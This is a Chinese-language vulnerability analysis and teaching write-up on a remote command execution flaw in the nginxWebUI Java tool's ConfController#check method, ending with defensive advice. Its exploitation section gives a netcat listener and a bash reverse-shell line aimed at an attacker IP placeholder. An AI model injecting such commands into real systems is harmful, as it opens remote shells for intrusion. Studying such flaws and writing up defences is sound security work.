Java代审——nginxWebUI RCE
字数 828 2025-08-20 18:17:41

NginxWebUI RCE漏洞分析与利用教学文档

1. 漏洞概述

NginxWebUI是一个基于Java开发的Nginx图形化管理工具,存在远程命令执行(RCE)漏洞。该漏洞位于com.cym.controller.adminPage.ConfController#check方法中,由于对用户输入参数处理不当,导致攻击者可以构造恶意请求执行任意系统命令。

2. 环境搭建

2.1 项目获取

git clone https://github.com/cym1102/nginxWebUI

2.2 Docker环境准备

使用以下Dockerfile构建环境:

FROM ubuntu
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
    && apt update \
    && apt -y install openjdk-11-jdk \
    && apt -y install nginx \
    && apt -y install wget \
    && apt -y install git \
    && apt -y install maven \
    && apt -y install vim

2.3 启动方式

java -jar xxx.jar

3. 漏洞分析

3.1 漏洞位置

漏洞位于com.cym.controller.adminPage.ConfController类的check方法中。

3.2 关键代码分析

// 存在命令执行的代码点
RuntimeUtil.execForStr(...) // 来自hutool组件的方法
// 最终调用ProcessBuilder#start方法进行命令执行

3.3 参数传递

传入的参数cmd由以下三部分组成:

  1. nginxExe
  2. fileTemp
  3. nginxDir

当未传入参数时,nginxExenginxDir会从settingService获取,这两个参数可控。

4. 漏洞利用

4.1 反弹Shell利用

  1. 首先在攻击机上监听端口:
nc -lvnp [监听端口]
  1. 构造恶意请求访问check接口,注入反弹Shell命令:
bash -i >& /dev/tcp/[攻击机IP]/[监听端口] 0>&1

4.2 直接命令执行

通过控制nginxExenginxDir参数,注入任意系统命令。

5. 防御建议

  1. 对用户输入进行严格的过滤和验证
  2. 使用白名单机制限制可执行的命令
  3. 避免直接拼接用户输入到系统命令中
  4. 使用安全的API替代Runtime.exec()等危险方法
  5. 及时更新到修复漏洞的版本

6. 相关技术

  • Java安全编程
  • 命令注入防御
  • Hutool组件安全使用
  • ProcessBuilder安全实践

7. 参考链接

  • 原始漏洞报告: [FreeBuf文章链接]
  • 项目地址: https://github.com/cym1102/nginxWebUI
  • Hutool文档: https://hutool.cn/docs/
NginxWebUI RCE漏洞分析与利用教学文档 1. 漏洞概述 NginxWebUI是一个基于Java开发的Nginx图形化管理工具,存在远程命令执行(RCE)漏洞。该漏洞位于 com.cym.controller.adminPage.ConfController#check 方法中,由于对用户输入参数处理不当,导致攻击者可以构造恶意请求执行任意系统命令。 2. 环境搭建 2.1 项目获取 2.2 Docker环境准备 使用以下Dockerfile构建环境: 2.3 启动方式 3. 漏洞分析 3.1 漏洞位置 漏洞位于 com.cym.controller.adminPage.ConfController 类的 check 方法中。 3.2 关键代码分析 3.3 参数传递 传入的参数 cmd 由以下三部分组成: nginxExe fileTemp nginxDir 当未传入参数时, nginxExe 和 nginxDir 会从 settingService 获取,这两个参数可控。 4. 漏洞利用 4.1 反弹Shell利用 首先在攻击机上监听端口: 构造恶意请求访问check接口,注入反弹Shell命令: 4.2 直接命令执行 通过控制 nginxExe 或 nginxDir 参数,注入任意系统命令。 5. 防御建议 对用户输入进行严格的过滤和验证 使用白名单机制限制可执行的命令 避免直接拼接用户输入到系统命令中 使用安全的API替代Runtime.exec()等危险方法 及时更新到修复漏洞的版本 6. 相关技术 Java安全编程 命令注入防御 Hutool组件安全使用 ProcessBuilder安全实践 7. 参考链接 原始漏洞报告: [ FreeBuf文章链接 ] 项目地址: https://github.com/cym1102/nginxWebUI Hutool文档: https://hutool.cn/docs/